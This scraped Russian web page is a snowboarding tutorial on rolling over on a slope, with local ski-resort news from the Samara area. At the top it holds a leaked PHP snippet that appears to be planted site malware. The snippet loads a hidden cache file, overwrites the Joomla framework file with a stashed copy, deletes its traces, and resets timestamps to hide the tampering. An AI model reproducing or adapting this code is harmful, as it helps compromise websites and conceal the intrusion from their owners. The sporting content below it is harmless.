$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Как кататься на сноуборде, Перевороты
Баннер

Как кататься на сноуборде

Часть 3. Перевороты

Очень часто бывают ситуации когда необходимо перекатиться со спины на живот или обратно, например чтобы встать на доску на крутом склоне или в пухляке. Для этого необходимо научиться технике переворотов.



Шаг 1: Будет проще, если Вы начнете это упражнение пытаясь перевернуться с живота на спину, нежели наоборот. Опуститесь на колени и поставе Ваши руки на снег.



Шаг 2: Чтобы было проще перевернуться на спину, опуститесь на локти.



Шаг 3: Опустите правое плечо вниз и вращайтесь.



Шаг 4: Приподнимите Ваш сноуборд вверх и переверните его



Шаг 5: Вы должны лежать на спине а сноуборд находится в воздухе.



Шаг 6: Опустите сноуборд вниз, обопритесь на руки чтобы подняться.



Шаг 1: Сидя на склоне немного согните колени.



Шаг 2: Лягте на спину.



Шаг 3: Положите руки под колени и поднимите сноуборд вверх.



Шаг 4: Поверните сноуборд в удобную для Вас сторону, так чтобы ноуз или тайл уперся в снег.



Шаг 5: Продолжайте поворачиваться, пока сноуборд не ляжет на склон.



Шаг 6: Используйте руки чтобы подняться.

Это основные способы переворота на склоне. В скором времени Вы сможете с легкостью перевернуться в любой момент. Попробуйте проделать эти упражнения на склоне.

Обсудить на форуме...

Коментарии:

 
.

Последние новости

Популярные статьи

Новости
Открытие сезона на ГЛЦ "Царевщина"

Ну вот и дождались любители горных лыж и сноуборда открытия ГЛЦ "Царевщина". Сегодня был полноценный рабочий день на этом комплексе. Снегу накидали достаточно, земли нигде не видно. В некоторых местах есть лёд. Народу немного, на подъёмнике очередей нет. Цены остались на уровне прошлого сезона: 1 смена с 10 до 15 - 600р, 2 смена с 13 до 17 - 700р, 3 смена с 17 до 21 - 300р (в выходные дни). В будние дни соответственно 250 - 300 - 200руб. Работает как всегда только центральная трасса.

 
Новости ГЛК Красная глинка

По заявлениям представителей ГЛК  Красная Глинка, что неподалёку от Самары, открытие намечено не 2 декабря, в настоящее время активно идёт подготовка склонов. На Юге убрали не работающий подъемник, трасса стала шире. Сейчас снежат Восточный склон. К открытию скорее всего будут работать Центр, Восток и если успеют то и Юг.

 
Появился новый раздел "Народный магазин"
Подробнее ...
Как кататься на сноуборде, Перевороты

Как доехать на машине
*От:
*До:
Дай +1 :)
Сохранить в моб...
Яндекс.Метрика